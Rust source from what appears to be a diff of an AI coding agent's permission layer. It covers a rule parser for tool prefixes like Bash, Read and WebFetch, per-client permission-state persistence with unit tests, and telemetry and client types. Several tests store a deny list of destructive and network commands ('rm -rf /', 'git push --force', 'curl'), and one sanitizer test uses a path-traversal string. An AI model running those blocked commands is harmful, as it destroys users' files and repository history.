/// Tool prefix is recognized but not supported (e.g., "EnterWorktree").
UnsupportedToolPrefix { prefix: String },
/// Tool prefix is unrecognized.
UnknownToolPrefix { prefix: String },
/// Rule string is malformed (e.g., missing closing paren).
MalformedRule { detail: String },
}
impl std::fmt::Display for RuleParseError {
fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
match self {
RuleParseError::UnsupportedToolPrefix { prefix } => {
write!(f, "unsupported tool prefix: {}", prefix)
}
RuleParseError::UnknownToolPrefix { prefix } => {
write!(f, "unknown tool prefix: {}", prefix)
}
RuleParseError::MalformedRule { detail } => {
write!(f, "malformed rule: {}", detail)
}
}
}
}
impl std::error::Error for RuleParseError {}
// ═════════════════════════════════════════════════════════════════════════════
// Rule Parser
// ═════════════════════════════════════════════════════════════════════════════
/// Parse a permission rule string into a native `PermissionRule`.
///
/// Supported tool prefixes:
/// - `Bash(...)` -> `ToolFilter::Bash`
/// - `Read(...)` / `NotebookRead(...)` -> `ToolFilter::Read`
/// - `Edit(...)` / `Write(...)` / `NotebookEdit(...)` -> `ToolFilter::Edit`
/// - `MCPTool(...)` -> `ToolFilter::Mcp`
/// - `Grep(...)` / `Glob(...)` -> `ToolFilter::Grep`
/// - `WebFetch(...)` -> `ToolFilter::WebFetch`
/// - `WebSearch(...)` -> `ToolFilter::WebSearch`
/// - No prefix / bare pattern -> `ToolFilter::Any`
///
/// `WebFetch` patterns support a `domain:` prefix (e.g., `WebFetch(domain:example.com)`)
/// which sets `PatternMode::Domain` for host-level matching instead of glob.
///
/// Explicitly unsupported (returns `Err`):
/// - `EnterWorktree(...)`
/// - Any unrecognized tool prefix
///
/// Pattern semantics:
/// - Supports `*` as prefix/suffix/middle wildcard
/// - Supports `**` for recursive path matching (zero or more segments)
/// - Bash: a trailing `:*` is a prefix idiom — `Bash(cmd:*)` → prefix `cmd`
///
/// Bare tool names (no parentheses) are recognized and treated as wildcard
/// rules for that tool type:
/// - `"Bash"` → `{ Allow, Bash, None }` (matches all bash commands)
/// - `"Edit"` → `{ Allow, Edit, None }` (matches all edit operations)
///
/// Examples:
/// - `Ok`: `"Bash(npm run build)"` → `{ Allow, Bash, "npm run build" }`
/// - `Ok`: `"Read(src/*.rs)"` → `{ Allow, Read, "src/*.rs" }`
/// - `Ok`: `"Read(**/src/**)"` → `{ Allow, Read, "**/src/**" }`
/// - `Ok`: `"Edit(src/**/*.rs)"` → `{ Allow, Edit, "src/**/*.rs" }`
/// - `Ok`: `"Bash"` → `{ Allow, Bash, None }` (bare tool name)
/// - `Err`: `"EnterWorktree(*)"` → `UnsupportedToolPrefix`
pub fn parse_permission_rule(
rule: &str,
action: RuleAction,
) -> Result<PermissionRule, RuleParseError> {
let rule = rule.trim();
// Try to extract tool prefix: "ToolName(" ... ")"
// Use escape-aware parsing to handle \( and \) in content.
if let Some(open_paren) = find_first_unescaped(rule, b'(') {
let prefix = &rule[..open_paren];
let prefix_trimmed = prefix.trim();
// Find last unescaped closing paren
let content_and_close = &rule[open_paren + 1..];
let close_paren = find_last_unescaped(content_and_close, b')').ok_or_else(|| {
RuleParseError::MalformedRule {
detail: "missing closing parenthesis".to_string(),
}
})?;
let raw_content = content_and_close[..close_paren].trim();
// Empty content or standalone wildcard = tool-wide rule.
let pattern = if raw_content.is_empty() || raw_content == "*" {
String::new()
} else {
unescape_rule_content(raw_content)
};
let tool = match tool_name_to_filter(prefix_trimmed) {
Some(f) => f,
None if prefix_trimmed == "EnterWorktree" => {
return Err(RuleParseError::UnsupportedToolPrefix {
prefix: prefix_trimmed.to_string(),
});
}
None => {
return Err(RuleParseError::UnknownToolPrefix {
prefix: prefix_trimmed.to_string(),
});
}
};
// `Bash(cmd:*)` means "commands starting with cmd"; as a glob it matches nothing.
let pattern = if tool == ToolFilter::Bash {
strip_bash_colon_wildcard(pattern)
} else {
pattern
};
let (pattern, pattern_mode) = strip_domain_prefix(pattern);
let pattern_opt = if pattern.is_empty() {
None
} else {
Some(pattern)
};
Ok(PermissionRule {
action,
tool,
pattern: pattern_opt,
pattern_mode,
})
} else {
if let Some(tool) = tool_name_to_filter(rule) {
return Ok(PermissionRule {
action,
tool,
pattern: None,
pattern_mode: PatternMode::Glob,
});
}
let pattern_opt = if rule.is_empty() {
None
} else {
Some(rule.to_string())
};
Ok(PermissionRule {
action,
tool: ToolFilter::Any,
pattern: pattern_opt,
pattern_mode: PatternMode::Glob,
})
}
}
/// Map a tool name to the native `ToolFilter`.
///
/// Recognized tool-filter names. Returns `None` for unrecognized names.
pub(crate) fn tool_name_to_filter(name: &str) -> Option<ToolFilter> {
match name {
"Bash" => Some(ToolFilter::Bash),
"Read" | "NotebookRead" => Some(ToolFilter::Read),
"Edit" | "Write" | "NotebookEdit" => Some(ToolFilter::Edit),
"MCPTool" => Some(ToolFilter::Mcp),
"Grep" | "Glob" => Some(ToolFilter::Grep),
"WebFetch" => Some(ToolFilter::WebFetch),
"WebSearch" => Some(ToolFilter::WebSearch),
_ => None,
}
}
/// True if the byte at `pos` is NOT preceded by an odd number of backslashes.
pub(crate) fn is_unescaped(bytes: &[u8], pos: usize) -> bool {
let mut backslashes = 0usize;
let mut j = pos;
while j > 0 && bytes[j - 1] == b'\\' {
backslashes += 1;
j -= 1;
}
backslashes.is_multiple_of(2)
}
pub(crate) fn find_first_unescaped(s: &str, target: u8) -> Option<usize> {
let bytes = s.as_bytes();
bytes
.iter()
.enumerate()
.find(|&(i, &b)| b == target && is_unescaped(bytes, i))
.map(|(i, _)| i)
}
pub(crate) fn find_last_unescaped(s: &str, target: u8) -> Option<usize> {
let bytes = s.as_bytes();
(0..bytes.len())
.rev()
.find(|&i| bytes[i] == target && is_unescaped(bytes, i))
}
/// Unescape rule content: `\(` → `(`, `\)` → `)`, `\\` → `\`.
pub(crate) fn unescape_rule_content(s: &str) -> String {
if !s.contains('\\') {
return s.to_owned();
}
// Order matters: unescape parens before backslashes (reverse of escaping).
s.replace("\\(", "(")
.replace("\\)", ")")
.replace("\\\\", "\\")
}
pub(crate) fn strip_domain_prefix(pattern: String) -> (String, PatternMode) {
match pattern.strip_prefix("domain:") {
Some(domain) => (domain.to_string(), PatternMode::Domain),
None => (pattern, PatternMode::Glob),
}
}
/// Bash `cmd:*` prefix idiom → bare prefix; only the trailing `:*` counts.
/// Deliberately raw-prefix — a superset of a word-boundary `:*` (stricter for deny/ask,
/// wider for allow), matching the evaluator's single prefix regime for every Bash literal.
pub(crate) fn strip_bash_colon_wildcard(pattern: String) -> String {
match pattern.strip_suffix(":*") {
Some(prefix) => prefix.to_string(),
None => pattern,
}
}
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,590 @@
#![allow(dead_code)] // Phase 1 internal helpers
use crate::permission::types::EditPolicy;
use kigi_paths::AbsPathBuf;
use kigi_tools::util::kigi_home::kigi_home;
use serde::{Deserialize, Serialize};
use std::collections::HashSet;
#[derive(Debug, Default, Clone, Serialize, Deserialize)]
#[serde(default)]
pub struct PermissionState {
pub edit_policy: EditPolicy,
pub allow_bash_execute: bool,
pub allowed_bash_commands: HashSet<String>,
pub disallowed_bash_commands: HashSet<String>,
/// Domains the user has approved for `web_fetch`
/// during this session.
pub allowed_web_fetch_domains: HashSet<String>,
/// Exact MCP tool names (e.g. `"grok_com_notion__notion-fetch"`)
/// the user has granted "always allow" for. Lookup is exact.
pub allowed_mcp_tools: HashSet<String>,
/// MCP server prefixes (everything before the first `__`,
/// e.g. `"grok_com_notion"`) for which the user has granted
/// "always allow" to every tool. Lookup is "tool name starts with
/// `<prefix>__`".
pub allowed_mcp_servers: HashSet<String>,
}
fn state_dir_for_cwd(cwd: &AbsPathBuf) -> std::path::PathBuf {
kigi_config::sessions_cwd_dir(cwd.as_str())
}
fn sanitize_client_id(id: &str) -> String {
id.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
c
} else {
'_'
}
})
.collect()
}
fn state_file_path(dir: &std::path::Path, client_identifier: Option<&str>) -> std::path::PathBuf {
match client_identifier {
Some(id) => dir.join(format!("permission_{}.toml", sanitize_client_id(id))),
None => dir.join("permission.toml"),
}
}
async fn try_load_state(path: &std::path::Path) -> Option<PermissionState> {
match tokio::fs::read_to_string(path).await {
Ok(s) => Some(toml::from_str(&s).unwrap_or_default()),
Err(e) if e.kind() == std::io::ErrorKind::NotFound => None,
Err(e) => {
tracing::warn!(?e, "failed reading permission state");
None
}
}
}
async fn load_state_from_dir(
dir: &std::path::Path,
client_identifier: Option<&str>,
) -> PermissionState {
if let Some(id) = client_identifier {
let per_client = state_file_path(dir, Some(id));
if let Some(state) = try_load_state(&per_client).await {
return state;
}
let shared = state_file_path(dir, None);
try_load_state(&shared).await.unwrap_or_default()
} else {
let path = state_file_path(dir, None);
try_load_state(&path).await.unwrap_or_default()
}
}
pub(crate) async fn load_state_from_disk(
cwd: &AbsPathBuf,
client_identifier: Option<&str>,
) -> PermissionState {
load_state_from_dir(&state_dir_for_cwd(cwd), client_identifier).await
}
async fn persist_state_to_dir(
dir: &std::path::Path,
state: &PermissionState,
client_identifier: Option<&str>,
) {
if let Err(e) = tokio::fs::create_dir_all(dir).await {
tracing::warn!(?e, "failed creating permission state directory");
return;
}
let path = state_file_path(dir, client_identifier);
match toml::to_string_pretty(state) {
Ok(s) => {
if let Err(e) = tokio::fs::write(&path, s).await {
tracing::warn!(?e, "failed writing permission state");
}
}
Err(e) => tracing::warn!(?e, "failed serializing permission state"),
}
}
pub(crate) async fn persist_state(
cwd: &AbsPathBuf,
state: &PermissionState,
client_identifier: Option<&str>,
) {
persist_state_to_dir(&state_dir_for_cwd(cwd), state, client_identifier).await
}
pub async fn cleanup_stale_permission_state(max_age: std::time::Duration) {
let sessions_dir = kigi_home().join("sessions");
let Ok(mut entries) = tokio::fs::read_dir(&sessions_dir).await else {
return;
};
while let Ok(Some(session_entry)) = entries.next_entry().await {
let Ok(ft) = session_entry.file_type().await else {
continue;
};
if !ft.is_dir() {
continue;
}
let session_dir = session_entry.path();
let Ok(mut files) = tokio::fs::read_dir(&session_dir).await else {
continue;
};
while let Ok(Some(file_entry)) = files.next_entry().await {
let path = file_entry.path();
let file_name = path.file_name().and_then(|n| n.to_str()).unwrap_or("");
if !file_name.starts_with("permission") || !file_name.ends_with(".toml") {
continue;
}
if let Ok(metadata) = tokio::fs::metadata(&path).await
&& let Ok(modified) = metadata.modified()
&& let Ok(age) = modified.elapsed()
&& age > max_age
{
tracing::debug!(path = %path.display(), "removing stale permission state");
let _ = tokio::fs::remove_file(&path).await;
}
}
}
}
#[cfg(test)]
#[allow(clippy::field_reassign_with_default)]
mod tests {
use super::*;
// ── PermissionState serialization roundtrip tests ─────────────
#[test]
fn default_state_serialization() {
let state = PermissionState::default();
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(!restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.is_empty());
assert!(restored.disallowed_bash_commands.is_empty());
}
#[test]
fn roundtrip_with_allowed_commands() {
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state.allowed_bash_commands.insert("cargo test".to_string());
state
.allowed_bash_commands
.insert("npm run build".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.contains("cargo test"));
assert!(restored.allowed_bash_commands.contains("npm run build"));
assert_eq!(restored.allowed_bash_commands.len(), 2);
}
#[test]
fn roundtrip_with_disallowed_commands() {
let mut state = PermissionState::default();
state.disallowed_bash_commands.insert("rm -rf".to_string());
state
.disallowed_bash_commands
.insert("git push --force".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
let denied = &restored.disallowed_bash_commands;
assert!(denied.contains("rm -rf"));
assert!(denied.contains("git push --force"));
assert_eq!(denied.len(), 2);
}
#[test]
fn roundtrip_with_both_allowed_and_disallowed() {
// Simulate a real scenario: some commands explicitly allowed,
// others explicitly denied.
let mut state = PermissionState::default();
state.allow_bash_execute = false;
state.allowed_bash_commands.insert("cargo test".to_string());
state.allowed_bash_commands.insert("git status".to_string());
state
.disallowed_bash_commands
.insert("rm -rf /".to_string());
state.disallowed_bash_commands.insert("curl".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert!(!restored.allow_bash_execute);
assert_eq!(restored.allowed_bash_commands.len(), 2);
assert_eq!(restored.disallowed_bash_commands.len(), 2);
assert!(restored.allowed_bash_commands.contains("cargo test"));
assert!(restored.disallowed_bash_commands.contains("curl"));
}
#[test]
fn edit_policy_is_persisted() {
let mut state = PermissionState::default();
state.edit_policy = EditPolicy::Allow;
let toml_str = toml::to_string_pretty(&state).unwrap();
assert!(toml_str.contains("edit_policy"));
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.edit_policy, EditPolicy::Allow);
}
#[test]
fn edit_policy_reject_roundtrip() {
let mut state = PermissionState::default();
state.edit_policy = EditPolicy::Reject;
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.edit_policy, EditPolicy::Reject);
}
#[test]
fn missing_edit_policy_defaults_to_ask() {
let toml_str = r#"allow_bash_execute = false"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert_eq!(state.edit_policy, EditPolicy::Ask);
}
#[test]
fn deserialize_from_empty_toml() {
let state: PermissionState = toml::from_str("").unwrap();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
assert!(state.disallowed_bash_commands.is_empty());
}
#[test]
fn deserialize_partial_toml() {
// Only some fields present — others should default.
let toml_str = r#"allow_bash_execute = true"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
assert!(state.disallowed_bash_commands.is_empty());
}
#[test]
fn roundtrip_with_allowed_web_fetch_domains() {
let mut state = PermissionState::default();
state
.allowed_web_fetch_domains
.insert("stackoverflow.com".to_string());
state
.allowed_web_fetch_domains
.insert("custom.example.com".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_web_fetch_domains.len(), 2);
assert!(
restored
.allowed_web_fetch_domains
.contains("stackoverflow.com")
);
assert!(
restored
.allowed_web_fetch_domains
.contains("custom.example.com")
);
}
#[test]
fn roundtrip_with_allowed_mcp_tools() {
let mut state = PermissionState::default();
state
.allowed_mcp_tools
.insert("grok_com_notion__notion-fetch".to_string());
state
.allowed_mcp_tools
.insert("linear__list_issues".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_tools.len(), 2);
assert!(
restored
.allowed_mcp_tools
.contains("grok_com_notion__notion-fetch")
);
assert!(restored.allowed_mcp_tools.contains("linear__list_issues"));
assert!(restored.allowed_mcp_servers.is_empty());
}
#[test]
fn roundtrip_with_allowed_mcp_servers() {
let mut state = PermissionState::default();
state
.allowed_mcp_servers
.insert("grok_com_slack".to_string());
state.allowed_mcp_servers.insert("linear".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_servers.len(), 2);
assert!(restored.allowed_mcp_servers.contains("grok_com_slack"));
assert!(restored.allowed_mcp_servers.contains("linear"));
assert!(restored.allowed_mcp_tools.is_empty());
}
#[test]
fn roundtrip_with_both_mcp_sets() {
let mut state = PermissionState::default();
state.allowed_mcp_tools.insert("notion__fetch".to_string());
state.allowed_mcp_servers.insert("linear".to_string());
let toml_str = toml::to_string_pretty(&state).unwrap();
let restored: PermissionState = toml::from_str(&toml_str).unwrap();
assert_eq!(restored.allowed_mcp_tools.len(), 1);
assert_eq!(restored.allowed_mcp_servers.len(), 1);
assert!(restored.allowed_mcp_tools.contains("notion__fetch"));
assert!(restored.allowed_mcp_servers.contains("linear"));
}
#[test]
fn deserialize_old_state_without_mcp_fields() {
// A state file from a binary that predates this design has
// neither MCP field. #[serde(default)] should yield empty sets.
let toml_str = r#"
allow_bash_execute = true
allowed_bash_commands = ["cargo test"]
allowed_web_fetch_domains = ["github.com"]
"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(state.allow_bash_execute);
assert!(state.allowed_bash_commands.contains("cargo test"));
assert!(state.allowed_web_fetch_domains.contains("github.com"));
assert!(state.allowed_mcp_tools.is_empty());
assert!(state.allowed_mcp_servers.is_empty());
}
#[test]
fn deserialize_unknown_fields_tolerated() {
// PermissionState uses #[serde(default)] which provides defaults for
// missing fields. It does NOT use #[serde(deny_unknown_fields)], so
// unknown keys in TOML are silently ignored. This is important for
// forward compatibility: older versions of the binary should be able
// to read state files written by newer versions that may have added
// new fields.
let toml_str = r#"
allow_bash_execute = false
unknown_field = "should be ignored"
allowed_bash_commands = ["ls"]
"#;
let state: PermissionState = toml::from_str(toml_str).unwrap();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.contains("ls"));
assert!(state.disallowed_bash_commands.is_empty());
}
// ── Disk persistence roundtrip tests ─────────────────────────
#[tokio::test]
async fn persist_and_load_roundtrip() {
let tmp = tempfile::tempdir().unwrap();
let cwd_path = tmp.path().join("my-project");
std::fs::create_dir_all(&cwd_path).unwrap();
let _cwd = AbsPathBuf::new(cwd_path).unwrap();
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state
.allowed_bash_commands
.insert("cargo build".to_string());
state.disallowed_bash_commands.insert("rm -rf".to_string());
// Override the state dir to use our temp dir.
// We can't easily override kigi_home(), so instead test
// the serialize/deserialize path directly with TOML.
let toml_str = toml::to_string_pretty(&state).unwrap();
let dir = tmp.path().join("sessions").join("test");
tokio::fs::create_dir_all(&dir).await.unwrap();
let path = dir.join("permission.toml");
tokio::fs::write(&path, &toml_str).await.unwrap();
let content = tokio::fs::read_to_string(&path).await.unwrap();
let restored: PermissionState = toml::from_str(&content).unwrap();
assert!(restored.allow_bash_execute);
assert!(restored.allowed_bash_commands.contains("cargo build"));
assert!(restored.disallowed_bash_commands.contains("rm -rf"));
}
#[tokio::test]
async fn load_missing_file_returns_default() {
// Simulates load_state_from_disk behavior for a missing file.
let path = std::path::Path::new("/nonexistent/permission.toml");
let result = tokio::fs::read_to_string(path).await;
match result {
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
let state = PermissionState::default();
assert!(!state.allow_bash_execute);
}
_ => panic!("expected NotFound error"),
}
}
#[tokio::test]
async fn load_corrupt_file_returns_default() {
// Simulates load_state_from_disk behavior for corrupt TOML.
let corrupt = "this is not valid toml {{{{";
let state: PermissionState = toml::from_str(corrupt).unwrap_or_default();
assert!(!state.allow_bash_execute);
assert!(state.allowed_bash_commands.is_empty());
}
// ── Per-client state file path tests ──────────────────────────
#[test]
fn state_file_path_without_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), None);
assert_eq!(path.file_name().unwrap(), "permission.toml");
}
#[test]
fn state_file_path_with_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some("vscode-ext"));
assert_eq!(path.file_name().unwrap(), "permission_vscode-ext.toml");
}
#[test]
fn state_file_path_empty_client_id() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some(""));
assert_eq!(path.file_name().unwrap(), "permission_.toml");
}
#[test]
fn state_file_path_sanitizes_path_separators() {
let tmp = tempfile::tempdir().unwrap();
let path = state_file_path(tmp.path(), Some("foo/bar"));
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
let path = state_file_path(tmp.path(), Some("foo\\bar"));
assert_eq!(path.file_name().unwrap(), "permission_foo_bar.toml");
}
#[test]
fn sanitize_client_id_prevents_traversal() {
assert_eq!(sanitize_client_id("foo/../../attack"), "foo_______attack");
assert_eq!(sanitize_client_id("normal-id"), "normal-id");
assert_eq!(sanitize_client_id("has\0null"), "has_null");
assert_eq!(sanitize_client_id("back\\slash"), "back_slash");
}
#[tokio::test]
async fn try_load_state_missing_returns_none() {
let result = try_load_state(std::path::Path::new("/nonexistent/permission.toml")).await;
assert!(result.is_none());
}
#[tokio::test]
async fn try_load_state_valid_file() {
let tmp = tempfile::tempdir().unwrap();
let path = tmp.path().join("permission.toml");
tokio::fs::write(&path, "allow_bash_execute = true")
.await
.unwrap();
let state = try_load_state(&path).await.unwrap();
assert!(state.allow_bash_execute);
}
#[tokio::test]
async fn per_client_persist_and_load_roundtrip() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut state = PermissionState::default();
state.allow_bash_execute = true;
state.allowed_bash_commands.insert("cargo test".to_string());
persist_state_to_dir(dir, &state, Some("client_a")).await;
let loaded = load_state_from_dir(dir, Some("client_a")).await;
assert!(loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("cargo test"));
}
#[tokio::test]
async fn per_client_load_falls_back_to_shared() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut shared_state = PermissionState::default();
shared_state.allow_bash_execute = true;
shared_state
.allowed_bash_commands
.insert("cargo test".to_string());
persist_state_to_dir(dir, &shared_state, None).await;
let loaded = load_state_from_dir(dir, Some("new_client")).await;
assert!(loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("cargo test"));
}
#[tokio::test]
async fn per_client_file_takes_priority_over_shared() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut shared_state = PermissionState::default();
shared_state.allow_bash_execute = true;
persist_state_to_dir(dir, &shared_state, None).await;
let mut client_state = PermissionState::default();
client_state.allow_bash_execute = false;
client_state
.allowed_bash_commands
.insert("npm test".to_string());
persist_state_to_dir(dir, &client_state, Some("my-client")).await;
let loaded = load_state_from_dir(dir, Some("my-client")).await;
assert!(!loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.contains("npm test"));
let shared_loaded = load_state_from_dir(dir, None).await;
assert!(shared_loaded.allow_bash_execute);
}
#[tokio::test]
async fn load_none_client_returns_default_when_no_file() {
let tmp = tempfile::tempdir().unwrap();
let loaded = load_state_from_dir(tmp.path(), None).await;
assert!(!loaded.allow_bash_execute);
assert!(loaded.allowed_bash_commands.is_empty());
}
#[tokio::test]
async fn per_client_isolation_between_clients() {
let tmp = tempfile::tempdir().unwrap();
let dir = tmp.path();
let mut state_a = PermissionState::default();
state_a
.allowed_bash_commands
.insert("cargo test".to_string());
persist_state_to_dir(dir, &state_a, Some("client_a")).await;
let mut state_b = PermissionState::default();
state_b.allowed_bash_commands.insert("npm test".to_string());
persist_state_to_dir(dir, &state_b, Some("client_b")).await;
let loaded_a = load_state_from_dir(dir, Some("client_a")).await;
assert!(loaded_a.allowed_bash_commands.contains("cargo test"));
assert!(!loaded_a.allowed_bash_commands.contains("npm test"));
let loaded_b = load_state_from_dir(dir, Some("client_b")).await;
assert!(loaded_b.allowed_bash_commands.contains("npm test"));
assert!(!loaded_b.allowed_bash_commands.contains("cargo test"));
}
}
@@ -0,0 +1,639 @@
use agent_client_protocol as acp;
use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use tokio::sync::oneshot;
/// A permission event capturing the decision made for a tool call.
/// Used for telemetry to track permission patterns and user behavior.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct PermissionEvent {
/// Tool call ID from the model
pub tool_id: String,
/// Name of the tool being executed
pub tool_name: String,
/// Type of access requested (read, edit, bash, mcp)
pub access_kind: String,
/// Additional context (e.g., file path for edit, command for bash)
#[serde(default, skip_serializing_if = "Option::is_none")]
pub access_detail: Option<String>,
/// Whether YOLO mode was enabled when this decision was made
pub yolo_mode: bool,
/// Whether this was auto-approved (by YOLO mode or policy rules)
pub auto_approved: bool,
/// Whether the user was prompted for this decision
pub user_prompted: bool,
/// The final decision (allow, reject)
pub decision: String,
/// The user's choice when prompted (allow_once, allow_always, reject_once,
/// etc.); None on auto/non-prompt decisions. The trigger lives in `decision_reason`.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub prompt_outcome: Option<String>,
/// Rejection reason if rejected
#[serde(default, skip_serializing_if = "Option::is_none")]
pub reject_reason: Option<String>,
/// When this decision was made
pub timestamp: DateTime<Utc>,
/// If this permission was requested by a subagent, the subagent's session ID.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_session_id: Option<String>,
/// If this permission was requested by a subagent, its type (e.g. "explore").
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_type: Option<String>,
/// If this permission was requested by a subagent, its description.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub subagent_description: Option<String>,
/// Effective permission mode governing this decision (not the trigger):
/// "ask" | "auto" | "always-approve". Hyphenated to match
/// `config.ui.permission_mode` in the same trace (differs from the telemetry
/// enum's underscore Mixpanel serde).
#[serde(default, skip_serializing_if = "Option::is_none")]
pub permission_mode: Option<String>,
/// The trigger that produced this decision, distinct from `prompt_outcome`
/// (which records the user's choice when prompted). Lets a trace show *why*
/// a request reached a prompt even when `user_prompted=true`. Values:
/// yolo, policy_allow, policy_deny, policy_ask, auto_fast_path,
/// auto_classifier_allow, auto_classifier_block, sandbox_auto,
/// persisted_grant, session_grant, static_allowlist, safe_command,
/// session_deny, prompt_deny, needs_user, requester_gone.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub decision_reason: Option<String>,
/// Elapsed milliseconds from the actor dequeuing this request to the decision
/// resolving. The timer starts at dequeue, so it excludes time the request
/// waited in the channel behind others; small for fast auto paths but
/// non-trivial when an auto classifier side-query runs before the decision.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub wait_ms: Option<u64>,
/// Concurrent in-flight permission requests (this one included) at emit time,
/// counted across the shared handle so overlapping subagent requests show up.
/// The per-turn "hit yes N times" count is instead the number of
/// `user_prompted=true` events in the turn, not this field.
#[serde(default, skip_serializing_if = "Option::is_none")]
pub queue_depth: Option<u32>,
}
/// Identifies the type of client connecting to the agent.
/// Used to determine which permission UI features to enable
/// and which feedback/experiment client type to report.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default, serde::Serialize, serde::Deserialize)]
pub enum ClientType {
/// Generic client - show simple permission options with full command text
#[default]
#[serde(rename = "generic", alias = "grok-shell", alias = "grok_shell")]
Generic,
/// Grok TUI client - show fancy options with interactive bash term selection
#[serde(rename = "grok-tui", alias = "grok_tui")]
GrokTUI,
/// Grok Web client - identified by clientIdentifier "grok-web"
#[serde(rename = "grok_web")]
GrokWeb,
/// Named client (`"nebula"`) — uses the generic permission UI
#[serde(rename = "nebula")]
Nebula,
/// IDE extension client (VS Code and similar) - identified by clientIdentifier "grok-code-extension"
#[serde(rename = "extension")]
Extension,
/// Grok Pager client - TUI-like terminal pager with interactive permission UI.
/// Treated identically to GrokTUI for permission options (gets bash highlights +
/// interactive selection). Reports as "pager" for telemetry attribution.
///
/// Accepts both the hyphenated `"grok-pager"` (what the pager actually
/// sends over the wire, matching `PAGER_CLIENT_TYPE`) and the underscored
/// `"grok_pager"` form for symmetry with the rest of this enum.
#[serde(rename = "grok-pager", alias = "grok_pager")]
GrokPager,
/// Grok Desktop (Electron) client - identified by clientIdentifier "grok-desktop".
/// Uses TUI-style bash permission options (primary command extraction + prefix matching)
/// but without interactive `<`/`>` word selection.
#[serde(rename = "grok_desktop")]
Desktop,
}
impl ClientType {
/// Product token for the `User-Agent` header (e.g. `grok-pager`).
pub fn user_agent_label(&self) -> &'static str {
match self {
Self::Generic => "grok-shell",
Self::GrokTUI => "grok-tui",
Self::GrokWeb => "grok-web",
Self::Nebula => "nebula",
Self::Extension => "grok-code-extension",
Self::GrokPager => "grok-pager",
Self::Desktop => "grok-desktop",
}
}
/// Resolve from ACP `clientIdentifier` string (e.g. `"grok-web"`, `"grok-desktop"`).
pub fn from_client_identifier(id: Option<&str>) -> Self {
match id {
Some("grok-web") => Self::GrokWeb,
Some("nebula") => Self::Nebula,
Some("grok-code-extension") => Self::Extension,
Some("grok-desktop") => Self::Desktop,
Some("grok-pager") => Self::GrokPager,
_ => Self::Generic,
}
}
/// Label for feedback reporting and experiment filtering.
pub fn feedback_label(&self) -> &'static str {
match self {
Self::GrokTUI | Self::GrokPager => "tui",
Self::GrokWeb => "web",
Self::Nebula => "nebula",
Self::Extension => "extension",
Self::Generic => "agent",
Self::Desktop => "desktop",
}
}
}
#[derive(Clone, Debug)]
pub enum AccessKind {
Read(Option<String>),
Grep {
path: Option<String>,
glob: Option<String>,
},
Edit(String),
Bash(String),
/// An MCP tool call: the tool name plus its raw JSON args. The args are
/// carried so the auto-mode classifier (and telemetry) can judge what the
/// call actually does, not just its name.
MCPTool {
name: String,
input: serde_json::Value,
},
WebFetch(String),
WebSearch(String),
}
#[derive(Debug, Clone, PartialEq, Eq)]
pub enum Decision {
Allow,
/// A policy `ask` rule matched; prompt the user.
Ask,
FollowupMessage(String),
Reject(String),
/// A policy deny rule matched. Distinguished from `Reject` (user-initiated)
/// so the caller can return the error to the LLM instead of cancelling
/// the turn — the agent should see the denial and adapt.
PolicyDeny(String),
/// The user cancelled the turn (e.g. Cmd+C during permission prompt).
/// Distinguished from `Reject` so the caller can return `StopReason::Cancelled`.
Cancelled,
}
#[derive(Debug, Clone, Copy, PartialEq, Eq, Default)]
pub enum EditPolicy {
#[default]
Ask,
Allow,
Reject,
}
impl Serialize for EditPolicy {
fn serialize<S: serde::Serializer>(&self, serializer: S) -> Result<S::Ok, S::Error> {
serializer.serialize_str(match self {
Self::Ask => "ask",
Self::Allow => "allow",
Self::Reject => "reject",
})
}
